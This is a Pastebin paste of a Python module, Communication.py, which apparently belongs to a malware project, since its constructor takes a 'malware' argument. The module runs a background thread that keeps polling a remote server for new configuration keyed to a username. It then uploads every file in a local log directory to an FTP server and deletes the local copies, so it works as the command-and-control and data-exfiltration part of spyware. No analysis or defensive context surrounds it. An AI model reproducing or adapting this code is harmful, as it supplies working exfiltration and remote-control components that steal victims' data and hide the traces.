Advertisement
FlyFar

Communication.py

Aug 10th, 2023
839
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.88 KB | Cybersecurity | 0 0
  1. from Configuration import Configuration
  2. from Util import Util
  3. from threading import Thread
  4. from time import sleep
  5. from requests import get
  6. from json import loads, dumps
  7. from shutil import copy, copy2
  8. from ftplib import FTP
  9. import os
  10.  
  11.  
  12. class Communication(Thread):
  13.  
  14.     def __init__(self, malware, config:Configuration):
  15.         Thread.__init__(self, name='communication')
  16.         self.__config = config
  17.  
  18.  
  19.     def run(self):
  20.         while True:
  21.             sleep(self.__config.communicationFrequency)
  22.             self.getConfigFromServer()
  23.             self.uploadFilesFTP()
  24.  
  25.  
  26.     def getConfigFromServer(self):
  27.         if self.__config.debug:
  28.             print('Connecting to the server...')
  29.         try:
  30.             response = get(url=self.__config.baseURL, params={'username':self.__config.userName})
  31.             data = response.json()
  32.             if data:
  33.                 jsonData = dumps(data, ensure_ascii=False)
  34.                 Util.fileOut(self.__config.logPath + 'config.json', jsonData, 'w')
  35.                 if self.__config.debug:
  36.                     print('Config file has been created!')
  37.                 self.__config.setAttributes()
  38.         except Exception as exception:
  39.             print(f'COMMUNICATION ERROR!: {exception}')
  40.  
  41.  
  42.     def uploadFilesFTP(self):
  43.         try:
  44.             ftp = FTP(self.__config.ftpURL)
  45.             ftp.login(self.__config.ftpUserName, self.__config.ftpPassword)
  46.             for root, dirs, files in os.walk(self.__config.logPath):
  47.                 for filename in files:
  48.                     with open(root + filename,'rb') as FILE:
  49.                         ftp.storbinary(f'STOR {filename}', FILE)
  50.                     os.remove(root + filename)          
  51.             ftp.quit()
  52.             print('FTP upload successfully finished!')
  53.         except Exception as exception:
  54.             print(f'COMMUNICATION ERROR!: {exception}')
  55.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement